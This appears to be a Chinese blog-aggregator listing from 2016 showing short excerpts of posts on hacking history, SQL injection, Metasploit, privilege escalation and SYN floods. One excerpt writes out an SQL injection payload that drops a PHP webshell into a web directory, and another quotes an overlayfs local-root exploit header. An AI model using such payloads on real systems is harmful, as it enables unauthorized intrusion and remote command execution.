凯文·米特尼克(Kevin Mitnick)被称为世界上“头号电脑黑客”。其实他的技术也许并不是黑客中最好的，甚至相当多的黑客们都反感他，认为他是只会用攻击、不懂技术的攻击狂，但是其黑客经历的传奇性足以让全世界为之震惊，也使得所有网络安全人员丢尽面子。 主要成就：他是第一个在美国
分类：
其他好文 时间：
2016-03-13 20:06:13
阅读次数：
400
近年来，随着互联网信息趋势在各细分领域的渗透影响和冲击作用，大多传统制造业的发展也随之步入阻滞状态，一些不具备竞争实力的厂商更是难掩衰败之势。但与此同时，一些长期着力于品质建设与品牌耕耘的家电品牌，却早先通过前瞻性的品牌策略和主打精品策略的理念，依靠品质与..
分类：
其他好文 时间：
2016-03-13 18:24:37
阅读次数：
251
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ，在码农届已经足足混了快接近3年了，但是对安全方面的知识依旧薄弱，事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下，希望大家多多提
分类：
数据库 时间：
2016-03-09 17:18:03
阅读次数：
264
/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Ke
分类：
其他好文 时间：
2016-03-09 15:38:20
阅读次数：
209
Metasploit体系框架 V4版本体系结构： Metasploit设计尽可能采用模块化的理念；在基础库的基础上，提供了一些核心框架功能的的支持；实现渗透测试的功能的主体代码则以模块化方式组织，并按照不同用途分为6种类型模块；为了扩充metasploit框架对渗透测试全过程的支持功能特性，meta
分类：
Web程序 时间：
2016-03-08 18:00:11
阅读次数：
222
sql注入获取webshell寻找sql注入页面，操作数据库的地方向网站写入sql语句' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php'发现mysql没有写入权限，于是在a
分类：
数据库 时间：
2016-03-07 20:48:02
阅读次数：
282
首先说一下具体的情况 一大牛发了一个shell 挂个txt收徒、 乱码了就算了 省的那大牛找我麻烦 心理就想着日一下看看 结果真不如人心愿 御剑开骚 哇塞 列目录 这下高兴之 不上图了 发现大牛踪迹 我想着那位收徒的也是吧 （他自己说的 只是路过的） 好了废话不多说直接开始 搞吧 上传一句话菜刀链接
分类：
其他好文 时间：
2016-03-04 01:50:51
阅读次数：
196
测试环境 win7 32 位未打任何补丁 1、使用net user 指令 测试得到结果没有权限新建用户 2.查看系统用户 3、复制EXP到win7 下 使用命令打开 添加新用户再查看用户列表
分类：
其他好文 时间：
2016-02-28 22:57:45
阅读次数：
274
一时兴起，看了多篇关于黑黑的技术博文，感觉受益匪浅 1、getshell 提权 2、xss 跨站脚本攻击 3、csrf 跨站请求伪造 4、脱裤 入侵网站，然后下载数据库 具体是什么请自行脑补或着问度娘。。。
分类：
其他好文 时间：
2016-02-26 11:48:25
阅读次数：
167
LINUX下SYN攻防战 (一)SYN攻击原理SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费服务器CPU和内存资源.SYN攻击聊了能影响主机外,还可以危害路由器,防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施.我们知
分类：
系统相关 时间：
2016-02-24 12:10:25
阅读次数：
241
